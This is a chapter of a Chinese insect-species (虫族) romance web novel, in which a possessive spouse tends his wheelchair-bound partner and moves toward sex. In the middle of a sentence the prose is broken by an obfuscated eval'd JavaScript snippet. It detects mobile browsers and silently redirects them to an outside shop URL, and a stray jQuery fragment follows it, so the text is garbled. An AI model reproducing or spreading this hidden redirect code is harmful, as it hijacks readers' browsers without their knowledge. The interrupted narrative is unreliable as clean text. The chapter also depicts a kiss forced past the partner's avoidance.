“那位阁下今天怎么没出去啊?”佣虫看着机器虫送下来、没动多少的盘子,压低声音问一旁的管家,“阁下好像心情不好,我们要告诉家……”
“菲利。”管家瞥了他一眼,略带警告的声音响起,“你很闲吗?”
菲利当即给嘴巴拉上拉链,跑去收拾客厅。
他看见有一玩偶滚落到地板上,正想拾起,一道带着凉意的声音阻止了他,“别碰。”
菲利手僵在原地,看清来虫是谁后当即站直身体,弯腰问好:“家主。”此时不过下午一点,离乔·格里尔往常的下班时间,早了近五个小时。
乔·格里尔站在玄关处,宽肩窄腰,神色淡漠,白金蓝渐变的大波浪卷发随意散落在胸口。
他走上去,将掉在地上的旧玩偶捡起,轻轻拍了拍灰,珍视地将那只耷拉尾巴的小狼放回原位后,问菲利:“雄主他今天没去上班吗?”明知故问,房间的监视器分明告诉了他答案。
“是。”菲利低眉顺眼,不敢直视那双除亚诺阁下之外对虫毫无温情的异瞳,他打开光脑,一张亚诺中午吃剩盘子的照片跳出来,“这是亚诺阁下中午的用餐情况,请您过目。”
乔·格里尔看着食物空缺部分,皱了下眉,“吃这么少?算了,我现在上去看看。”
沈容安将纸妥善放好,拿起一旁的、昨夜没看完的书,看了两行字,脑海却控制不住会想起萨拉的话:“您的雌君很重视您。”
重视吗?沈容安弯了弯唇角,喉间溢出一声轻笑。
熟悉的脚步声逼近,沈容安眸子颤了下,敛了心神,若无其事地继续看书,手控制不住收紧,手指因用力而发白,手心也留下一道浅红印记。
“雄主……”乔·格里尔敲了两下门,他习惯了无虫回应,直接推门而入。
卧室光线昏暗,雄虫侧对着他,今日穿着件白色棉纺休闲服,显得整个虫的气质柔软又干净。腿上搭着条毯子,手拿着本厚厚的书,长睫毛垂下,掩去眼中情绪,好像除手上的书外,再容不下其他东西。
沈容安静静坐在那里,虽然坐在轮椅上,腰板依旧挺直,像在雪中沉默挺立的松柏,也像乔·格里尔在书房挂着的那幅世间少有的水墨画。
虫族难见这样的画法,大多是浓色重彩的油画。
乔·格里尔怕雄虫眼睛不舒服,想去开灯。
手还没碰到开关,就听见雄虫微凉的声音:“关上。”
乔·格里尔迟钝地收回手,走到他身前,蹲下,双眸紧紧盯着沈容安,“雄主,我回来了。”
视线之热烈,逼得沈容安不得不放下手中的书,低声回了一句“嗯。”
乔·格里尔得了好,神情放柔,他抽出雄虫手中的书,合起,放到一旁。让雄虫眼里只有他一个。
“我今天早下班,想快点来见您。”他避而不谈雄虫今日没上班的事,手试探地放在沈容安手心。
沈容安不置一词,垂眸看向他们交叠的手,神色淡淡,也没收回,任由他牵。
乔·格里尔笑意粲然,往前挪了一点,拉进他与雄虫的距离,问:“雄主,您坐得累不累,我抱您去床上歇会,好不好?”他一边说,另一只手一边探入雄虫的腰背,揉着那僵硬的地方。
轮椅虽加了柔软的垫子,但坐久了,人也变得僵。温热的手掌在他腰间游离,酸软感一下泛上来,沈容安紧抿着唇,忍受酸麻过去。
他们靠得很近,他现在的姿势就像被乔·格里尔抱在怀里一样。
“可以了。”沈容安按住他的手,雌虫抬眸,那双深邃的蓝金异瞳含住沈容安的轮廓,像被阳光照得波光粼粼的海。
乔·格里尔半跪在他身前,与他等高,平视着沈容安的眼睛。卷发顺着乔·格里尔的姿势垂下,挠着沈容安手背,沈容安顺手抓住了它。
乔·格里尔头发与眼睛的颜色不同,眼睛的颜色比头发更深一点。
闻言,乔·格里尔收回手,转而抚向沈容安的脸颊——
苍白,带着一点病气。
雌虫的手向下划,划过他脖颈处清晰可见、跳动着的青筋。
沈容安清楚听见面前的虫喉间溢出一声满足的笑。
随后乔·格里尔倾身上前,目标明确盯紧了沈容安微抿起的薄唇。
沈容安偏头避开,那个温热的吻落在他脸颊。
乔·格里尔对他的动作早有预料,他掰过沈容安的脸,动作轻柔却不容拒绝。
这是一个细密而绵长的吻,雌虫巧妙地探寻着他,一面亲,一面用手环住沈容安,好像不怎么做沈容安就会跑了。
沈容安被他抱到床上,乔·格里尔的吻从唇、落到鼻尖再到喉结,最后停在了他受过伤、使他难以站立的膝盖。
温热的气息尽数喷洒在上面,沈容安下意识瑟缩一下,想蜷起身体,逃离面前雌虫的控制。
“别怕。”乔·格里尔按住他乱动的身体,看了眼外面的天气。
雨点敲击着窗户,窗帘紧闭,下雨天带来的潮气却像针一样,扎着沈容安膝盖。
这是他穿越后掉入荒林落下的病根,一到雨天便疼得厉害。这些年乔·格里尔遍寻虫族名医,但一无所获。沈容安还是只能坐在轮椅上。
乔·格里尔将沈容安裤子挽起,双手搓热,覆在雄虫膝盖有节奏地按摩,难言的隐痛逐渐褪去,取而代之的是雌虫手心的温度。
他的手法老道而熟练,是找医生专门学过的,为了沈容安。
乔·格里尔或许比沈容安都更了解他的腿,了解他的腿什么时候会疼,又要按摩多久才能缓解。
沈容安视线落到他头顶,任由他按,思绪飘到他做手术后醒来的第一天。
那时的腿比现在疼上百倍,像有一辆车生生从他膝盖碾过去那样疼,不仅腿疼、头也钝钝地痛着。
“%#?”怪异的腔调从他身边传来。
沈容安听不懂他在说什么,带着氧气面罩也说不了话。
坐在沙发的“人”站起身,走到他身边。
沈容安才发现救他的那个人似乎是个外国人。
他的救命恩人有张浓艳张扬让人不可忽视的脸。白金淡蓝色渐变的大波浪卷发随着他低头的姿势垂下,眼睛是一金一蓝的深邃异瞳,眉弓高,鼻梁挺,嘴唇微扬,笑意温和。妥妥一副中世纪王宫里挂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17819351|211120||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着的油画。
沈容安睁着眼睛,试图辨认这是哪国语言,但是失败了。
后来他才知道,他哪里是被外国人救了。救他的这个都已经不是人了,而是这个世界口中的雌虫。
沈容安来到了另一个世界、另一个种族,而他的地球、他的故土早湮没在历史长河中,连一点痕迹也没留下。
这个世界有三种性别,雄虫、雌虫与亚雌。雌虫体力强悍,有着所向披靡的能力,却要受精神力暴乱的威胁。而雄虫的信息素是治疗雌虫的药,但虫星的雄虫稀少,于是弥足珍贵。一只雄虫可以有一名雌君,和多名雌侍。
像沈容安这样的A级雄虫甚至可以有十来个雌侍。
但别说十来个了,哪怕多一个,他身边的这位雌君都会发疯。
“雄主,还疼不疼?”
沈容安敛去乱七八糟的思绪,目光轻扫过这个在异世与他相伴四年的雌虫,一时无言。
乔·格里尔观察着他的神情,确认没有痛苦后才收回手,躺在雄虫身边。
沈容安蹙眉,提醒道:“现在是白天。”而且现在还没到他履行提供信息素义务的日子。
“我知道。但是.......”乔·格里尔将左手抬起,其余四指蜷缩,只有无名指怪异地挺立,苍白而僵化。
这是精神力暴乱的初步征兆。
沈容安眉心蹙了下,手指拨过他下巴,观察他后颈,不出意外看到雌虫的虫纹暗淡,隐隐发黑。沈容安手摸上去,雌虫情不自禁地躲了下。
“疼?”沈容安收回手,问他。
乔·格里尔对他的关心很是受用,得寸进尺地拱到他怀里,手指着脑袋回答:“疼的,昨晚疼得睡不着。”只有抱着雄虫才能睡着。
沈容安难得没有推开他,表情认真严肃:“坐好,我帮你看一下。”雌虫一旦精神力暴乱发作,痛苦非常,还会呈现攻击性,手腕与脚腕都要被拷上镣铐,防止伤虫。脖颈处还有带上抑制环。
这对乔·格里尔来说,是绝对难以忍受的屈辱。
沈容安确实想跟他离婚,但他也不会眼睁睁看着乔·格里尔发病。
他知道有多痛苦。
一缕精神丝线探入乔·格里尔的精神海,那是一片广袤无垠的雪地。
精神丝线探索着这片雪地的每一寸角落,寒风刺骨,簌簌吹着。
沈容安简单做了个精神安抚,手探了下雌虫额头的温度,笃定问道:“你的发情期要到了?”如果他没记错的话,上个月好像没有这么早。
乔·格里尔的视线追随着沈容安的手,见他收回,还念念不舍地追上去握住。
快到发.情.期的雌虫会比平时更渴望伴侣的信息素,尤其他们已经进行过终身标记,这种依赖性只会更强。
乔·格里尔蹭着沈容安手心,连雄主也不叫,只一遍遍喊着他给雄虫取的名字,“亚诺........”缱绻依恋。
“我可能需要你的信息素了,亚诺。”
语罢,他小心地避开沈容安的腿。翻了身,双腿叉开。
他看向身下的雄虫,呢喃道:“给我吧,雄主.......”